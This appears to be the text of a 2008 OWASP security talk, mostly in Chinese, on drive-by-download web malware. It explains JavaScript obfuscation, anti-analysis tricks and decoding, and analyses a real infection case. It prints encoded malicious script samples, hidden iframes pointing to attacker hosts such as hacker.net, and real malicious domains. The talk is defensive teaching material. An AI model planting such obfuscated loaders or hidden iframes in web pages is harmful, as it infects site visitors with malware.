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Web-based malware, specifically, drive-by-downloads, 
have been rapidly evolving. Web-based malware are 
written mostly in script languages, whose dynamic 
features make it easy for obfuscation and therefore 
difficult for static detection. Recently, many new 
obfuscation methods have been observed, some of 
which actually took malware obfuscation to the next era-
-they were malware steganography methods instead of 
obfuscation. This talk discusses what Web-based 
malware are, what threats they bring, why they are 
difficult to detect, and discuss free resources within 
OWASP and also free ones outside of OWASP, that can 
help us flight this threat. 
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OWASP Top 10

OWASP整理10大常見的Web Security(2007 Top 10)問題

1 Cross Site Scripting (XSS)

2 Injection Flaws (SQL Injection, Command Injection)

3 Malicious File Execution (NEW)

4 Insecure Direct Object Reference

5 Cross Site Request Forgery (CSRF) (NEW)

6 Information Leakage and Improper Error Handling

7 Broken Authentication and Session Management

8 Insecure Cryptographic Storage

9 Insecure Communications (NEW)

10 Failure to Restrict URL Access
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日益氾濫的惡意網頁問題

是Malware 與 Botnet 的散佈主要管道

駭客利用惡意網頁大量散佈Malware的主要管道，透過
瀏覽器的Exploit與社交工程來進行大規模植入

大規模的網路犯罪，以謀取金錢為目的

蒐集個人資料 賣個資給詐騙集團

製造高點擊率與假流量 賣假的高評價網址

建立大型Botnet 賣肉雞給駭客
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隨手可得的駭客掛馬產生器

攻擊程式的產生器已經十分氾濫，不用幾塊錢就
可以獲得一大堆工具！
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Malicious Webpage Report In Taiwan

582582 malicious Webpages  (Malicious link Insided)

221 221 active malicious links (Drive-By-Download)

72 72 different spywares 
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網頁掛馬新攻擊：老外終於知道啦！

Symantec Global Internet Security Threat Report  Jul-Dec 2007
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甚麼是掛馬? 這就是掛馬

活生生的例子

9

經過URL Decode之後會現
http://uin1.cn
http://uin2.cn

經過URL Decode之後會現
http://uin1.cn
http://uin2.cn
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駭客都是一整包的Exploit放出來
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沒再怕的啦！沒再怕的啦！

我不是有裝好多套防毒程式嗎？我不是有裝好多套防毒程式嗎？
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防毒軟體真的有效嗎？
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防毒軟體真的有效嗎？

有！但是效果有限…
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惡意網頁分析的難處 (Obfuscated Scripts)

使用Javascript進行編碼與混淆
為了逃避掃毒軟體或是其他網頁內容過濾系統的偵測
，駭客使用Javascript將惡意內容編碼變型，直到瀏覽
器執行Javascript時才真的現出原形。
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<script language="JavaScript">e = '0x00' + '5F';str1 = 
"%E4%BC%B7%AA%C0%AD%AC%A7%B4%BB%E3%FE%AA%B7%AD%B7%BE%B7%B4%B7%AC%A7%E6%B8%B7 
%BC%BC%BB%B2%FE%E2%E4%B7%BA%AE%BF%B3%BB%C0%AD%AE%BD%E3%FE%B8%AC%AC%B0%E6%F1 
%F1%B0%AE%BF%BC%B1%E9%F2%BD%B1%B3%F1%AC%AE%BA%F1%FE%C0%A9%B7%BC%AC%B8%E3%EF 
%C0%B8%BB%B7%B9%B8%AC%E3%EF%E2%E4%F1%B7%BA%AE%BF%B3%BB%E2%E4%F1%BC%B7%AA%E2";
str=tmp='';for(i=0;i<str1.length;i+=3){tmp = unescape(str1.slice(i,i+3));str=str+String.fromCharCode((tmp.charCodeAt(0)^e)-
127);}document.write(str); </script>

<script language="JavaScript">e = '0x00' + '5F';str1 = 
"%E4%BC%B7%AA%C0%AD%AC%A7%B4%BB%E3%FE%AA%B7%AD%B7%BE%B7%B4%B7%AC%A7%E6%B8%B7 
%BC%BC%BB%B2%FE%E2%E4%B7%BA%AE%BF%B3%BB%C0%AD%AE%BD%E3%FE%B8%AC%AC%B0%E6%F1 
%F1%B0%AE%BF%BC%B1%E9%F2%BD%B1%B3%F1%AC%AE%BA%F1%FE%C0%A9%B7%BC%AC%B8%E3%EF 
%C0%B8%BB%B7%B9%B8%AC%E3%EF%E2%E4%F1%B7%BA%AE%BF%B3%BB%E2%E4%F1%BC%B7%AA%E2";
str=tmp='';for(i=0;i<str1.length;i+=3){tmp = unescape(str1.slice(i,i+3));str=str+String.fromCharCode((tmp.charCodeAt(0)^e)-
127);}document.write(str); </script>

<div style="visibility:hidden">
<iframe src="http://hacker.net/xxx" width=1  height=1></iframe>
</div>

<div style="visibility:hidden">
<iframe src="http://hacker.net/xxx" width=1  height=1></iframe>
</div>

在使用者的瀏覽器上才解出惡意連結

編碼過的網頁內容躲避掃毒軟體偵測
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惡意網頁變形工具(Javascript Packer)

網路上有非常多的HTML, Script變形工具

Advanced HTML Protector
http://www.creabit.com/htmlprotect/

Yahoo Javascript Packer (YUI Compressor)
http://developer.yahoo.com/yui/compressor/

Other Online JS Obfuscator
http://www.iwebtool.com/html_encrypter
http://www.cha88.cn/safe/fromCharCode.php
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Javascript 的變型技術

Name Obfuscation
透過字串取代來作Javascript 混淆

用處不大，只能干擾肉眼觀查

String Splitting
將關鍵字在執行期才組合起來，躲避掃毒軟體的特徵
碼掃描

Code Encryption
將惡意程式碼編碼起來，只在執行階段才展現出來，
躲避掃毒軟體的特徵碼掃描
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Code Encryption

String.formCharCode()

By 8Bit, 16Bit, Unicode …
8Bits string
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<script>
alert("Exploit !");
</script>

<script>
alert("Exploit !");
</script>

<script>
t="97,108,101,114,116,40,34,69,120,112,10
8,111,105,116,32,33,34,41,59"
t=eval("String.fromCharCode("+t+")");
document.write(t);
</script>

<script>
t="97,108,101,114,116,40,34,69,120,112,10
8,111,105,116,32,33,34,41,59"
t=eval("String.fromCharCode("+t+")");
document.write(t);
</script>

<script>
t=eval("\141\154\145\162\164\50\42\105\170\160\1
54\157\151\164\40\41\42\51\73\12");
document.write(t);
</script>

<script>
t=eval("\141\154\145\162\164\50\42\105\170\160\1
54\157\151\164\40\41\42\51\73\12");
document.write(t);
</script>

字串編碼方式種類繁
多

字串編碼方式種類繁
多
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Javascript Analysis

我們通常有幾種方法來作解碼

手動解碼

注意所有的eval, unescape, document.write等字串

Document.write改寫成alert 或是 將結果放到<TEXTAREA>中

啟動瀏覽器執行被我們修改過的Javascript

常用的自動解碼工具 (Debugger / Interpreter / Decoder)
Rhino http://www.mozilla.org/rhino/
NJS http://www.njs-javascript.org/
SpiderMonkey http://www.mozilla.org/js/spidermonkey/
Malzilla http://malzilla.sourceforge.net
FreShow http://www.jimmyleo.com/work/FreShowStart.htm
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http://www.mozilla.org/rhino/
http://www.njs-javascript.org/
http://www.mozilla.org/js/spidermonkey/
http://malzilla.sourceforge.net/
http://www.jimmyleo.com/work/FreShowStart.htm
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三套免費的解碼工具
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Anti-Analysis Javascript

駭客為了躲避上述的分析，發展出許多種Anti-
Analysis技術，常見的有這幾類：

Anti-Javascript Interpreter
辨識自己是否正在Interpreter/Debugger中執行，如果是則
不啟動

Hiding Sensitive Calls with Member Enumeration
隱藏Document.write(), eval()

Self Code Integrity Check
程式碼自我校驗，避免被修改

20
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Anti-Interpreter

檢查是否能夠正確連線，作為判斷

與其他Context中物件互動作測試

DOM, Java Applet, Flash, VBScript, ActiveX
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<script>
var count =0;
function loaded (name){

if(name!="bad")count++;
}
window.onload = function evil(){

if(count  == 1) document.write("In Browser!");
}
</script>
<iframe src="http://bird1.man" onload="loaded(this.name);" name="bad" ></iframe>
<iframe src="http://bird2.man" onload="loaded(this.name);" name="bad" ></iframe>
<iframe src="http://www.hinet.net" onload="loaded(this.name);" name="good" ></iframe>

<script>
var count =0;
function loaded (name){

if(name!="bad")count++;
}
window.onload = function evil(){

if(count  == 1) document.write("In Browser!");
}
</script>
<iframe src="http://bird1.man" onload="loaded(this.name);" name="bad" ></iframe>
<iframe src="http://bird2.man" onload="loaded(this.name);" name="bad" ></iframe>
<iframe src="http://www.hinet.net" onload="loaded(this.name);" name="good" ></iframe>
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Hiding Sensitive Calls with Member Enumeration

誰說document.write一定要寫出來? Kolisar給了我們一個
POC
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<script>
h = this;
for ( i in h)  //find document object
{

if( i.length == 8) {
if( i.charCodeAt(0) == 100  &&  i.charCodeAt(7) == 116){

break;
}

}
}
for ( j in h[i]) //find member function write()
{

if( j.length == 5 ){
if( j.charCodeAt(0) == 119  &&  j.charCodeAt(1) == 114){

break;
}

}
}
h[i][j](“這樣也可以搞耶...Cool!”);    //等同 document.write(…)
</script>

<script>
h = this;
for ( i in h)  //find document object
{

if( i.length == 8) {
if( i.charCodeAt(0) == 100  &&  i.charCodeAt(7) == 116){

break;
}

}
}
for ( j in h[i]) //find member function write()
{

if( j.length == 5 ){
if( j.charCodeAt(0) == 119  &&  j.charCodeAt(1) == 114){

break;
}

}
}
h[i][j](“這樣也可以搞耶...Cool!”);    //等同 document.write(…)
</script>
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我們在網路上發現一個有趣的案例

層層分解

我們手動簡單解碼Javascript時候，為了研究通常會把
最後的eval ( … ) 換成 document.write(…..)，以方便
觀察被解出來的程式碼…
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function I71gyIm5s( … )
{

….一堆解碼的code…
eval(執行解過碼的string);

}

I71gyIm5s('9AB6a4a7A……);

function I71gyIm5s( … )
{

….一堆解碼的code…
eval(執行解過碼的string);

}

I71gyIm5s('9AB6a4a7A……);

Document.write
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Demo
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解碼失敗，出現不可執行的亂
碼

解碼失敗，出現不可執行的亂
碼
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Demo

如果不改Code，原封不動則能正確解碼出來
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Self Integrity Check

用自己的程式碼Source Code當作解碼的key
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試想一下這段Code執行結果？

function testCallee(){return arguments.callee}
document.write( testCallee() );

試想一下這段Code執行結果？

function testCallee(){return arguments.callee}
document.write( testCallee() );

function testCallee(){return arguments.callee}function testCallee(){return arguments.callee}

Arguments.callee 原本設計是在functional programming中，給
recursive anonymous functions用的，但卻可以作出程式碼自我校
驗的功能！
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Javascript分析的難處

Javascript 是 script language 具有下列特性導致
Interpreter / Debugger類型的解碼分析程式難以
有效運作

具有Meta-Programming，Functional-Programming的
特性，可以將自身程式當作字串編碼運算

具有Run-Time修自己程式碼的特性(SMC)
Dynamic Typing Language，在執行時期才決定型別，
靜態程式分析器很難運作

Javascript Interpreter 無法模擬出整個Browser 
Behavior
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PE Packer v.s. JS Packer

28

PE Packer JS Packer

Code Type Low level 
Binary Code

High Level 
Dynamic Typing Language

Self Modify Code (SMC) YES YES (Meta-Programming, use 
Document.write(), Very Easy )

Code Encryption YES YES (Very Easy)

Self Integrity Check YES YES (Functional-Programming)

Debugger Detection YES YES (Check Brower)

Anti-Instruction 
stepping RDTSC Check Timer Check
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Malicious  Report

Sandbox針對Drive-By-Download的分析

使用Sandbox 分析系統可以完整分析惡意網頁的執行全貌
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Web CrawlerWeb CrawlerWeb Crawler

MalinkMalinkMalink

HTML AnalysisHTML AnalysisHTML Analysis

HTMLHTMLHTML

Behavior AnalysisBehavior AnalysisBehavior Analysis

MalwareMalwareMalware

Javascript 
Decoder

Javascript 
Decoder

Spyware 
Behavior 
Extractor

Spyware 
Behavior 
Extractor

Find the final 
malware source
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實際案例分析

接下來我們將實際分析一個掛馬案例與大家分享
一些心得
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發現惡意連結與惡意程式！
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Drive-By-Download 
the malware source !!
Drive-By-Download 
the malware source !!
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Demo

http://tw.lovechina.tw.cn/count/js/gif.gif
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Demo 進行解碼…
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Demo 再來一次
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發現了！是Flash Exploit 
(CVE-2007-0071)
發現了！是Flash Exploit 
(CVE-2007-0071)
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Drive-By-Download Flow
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All Your iFRAMEs Point to Us, 2008

Victim Machine

Malware Distribution Site

…

Landing Site

Hop Point

1

2

3

Redirect to get exploit

Drop Malware

Victim visit t
he landing site
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我們也查到了駭客內部使用的流量統計表
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每天瀏覽次惡意網頁量
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5天的高峰期出現！
可能正在進行自動的Mass SQL 
Injection 來掛馬，產生近60萬次的瀏
覽量

5天的高峰期出現！
可能正在進行自動的Mass SQL 
Injection 來掛馬，產生近60萬次的瀏
覽量
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ITHome, 2008/05ITHome, 2008/05
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自動SQL Injection掛馬的副作用

40亂掛到畫面花掉…
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Mass SQL Injection 跟以往攻擊有什麼不同

無特定目標
以往的掛馬攻擊是有針對的網站，且是駭客使用手動工具完成，
這次看到的是使用程式自動使用搜尋引擎中找出目標網站來散布

自動化SQL Injection感染網站
駭客程式自動化SQL Injection，大量插入惡意連結到受害
Database中，導致網站頁面內容被破壞

已在短時間內感染大量網站並加以掛馬，並造成嚴重災情(其中某
一天就感染達到1萬網站，瀏覽量達到9萬多)

新型態自動化Web攻擊，入侵層面不但廣且深入
將形成難以估計的新型態Bonet
甚至連DataBase都已經遭到汙染，難以清除
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有時候太深的網頁根本沒人知道

42

就連Google也沒爬
到! Orz
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總結：防護策略探討

對於防護系統來說，Javascript不但不容易分析，
也很難辨識是否是惡意

這類大規模的網頁攻擊行為，可分下列幾種不同
的層面解決方案

因該建立國家期的網路惡意活動監控中心，跨ISP監控
惡意網站的活動情形，並提供各單位與網管即時資安
情報，例如：www.malwaredomainlist.com 與
www.shadowserver.org
強化各單位內部網站安全監控，在縮短發現攻擊事件
的時間

檢視網站的程式碼安全，降低被攻擊成功的可能性
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